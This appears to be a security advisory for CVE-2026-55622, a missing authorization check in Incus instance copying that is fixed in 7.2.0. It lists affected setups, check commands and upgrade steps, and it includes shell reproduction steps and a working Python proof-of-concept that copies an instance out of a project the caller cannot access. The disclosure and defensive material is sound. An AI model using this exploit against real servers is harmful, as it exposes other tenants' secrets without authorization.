GITHUB.COM/LXC/INCUS/V7/CMD/INCUSD · CVE-2026-55622 · Package
FIX → 7.2.0
Incus, a system container and virtual machine manager, does not check whether a caller can read the source project when copying an instance. A client with a restricted certificate can copy an instance from a project it cannot access into a project it can use, then move the copy to another server, which can expose its secrets.
first public Jun 25, 2026 · 2 sources
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Servers running incusd below 7.2.0 where clients connect over the API with certificates restricted to certain projects. A caller needs a valid client certificate with access to at least one project and must know the name of a project and instance they cannot see. Deployments with only fully trusted clients or no remote API access are less exposed.
Not affected if incus-7.2.0-or-later, no-remote-api, unrestricted-clients-only
Who cares cwe-284, incus, linux-containers, self-hosted
incus --version on each Incus server and compare against the fixed versionincus config trust list and review their project listsMissing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.
cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instances_post.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.
The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.
Assumes the target server is remotely accessible and a user/certificate has been added.
# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets init images:debian/trixie secret
# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted:
projects:
-
incus ls remote:
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Upgrade to 7.2.0
github.com/lxc/incus/v7 and cmd/incusd to 7.2.0 or laterThe below script was partly generated. To copy the secret instance to the default project, the following command can be used.
python3 poc.py --url https://IP-REMOTE:8443 \
--cert path/to/client.crt --key path/to/client.key \
--target-project default --source-project secrets \
--source-instance secret --name copy-secret --insecure
Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.
#!/usr/bin/env python3
"""Copy an instance from a project the caller should not be able to read."""
from __future__ import annotations
import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request
def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
ctx = ssl.create_default_context()
if insecure:
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.load_cert_chain(cert, key)
req = urllib.request.Request(
url.rstrip("/") + path,
data=json.dumps(body).encode(),
method="POST",
headers={"Content-Type": "application/json", "Accept": "application/json"},
)
try:
with urllib.request.urlopen(req, context=ctx) as resp:
return resp.read()
except urllib.error.HTTPError as exc:
sys.stderr.write(exc.read().decode(errors="replace") + "\n")
raise
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("--url", required=True)
ap.add_argument("--cert", required=True)
ap.add_argument("--key", required=True)
ap.add_argument("--target-project", required=True)
ap.add_argument("--source-project", required=True)
ap.add_argument("--source-instance", required=True)
ap.add_argument("--name", required=True, help="new instance name in target project")
ap.add_argument("--instance-only", action="store_true")
ap.add_argument("--start", action="store_true")
ap.add_argument("--insecure", action="store_true")
ap.add_argument("--dry-run", action="store_true")
args = ap.parse_args()
body = {
"name": args.name,
"source": {
"type": "copy",
"source": args.source_instance,
"project": args.source_project,
"instance_only": args.instance_only,
},
"start": args.start,
}
path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
print(json.dumps(body, indent=2))
if args.dry_run:
return 0
print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
return 0
if __name__ == "__main__":
raise SystemExit(main())
An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.
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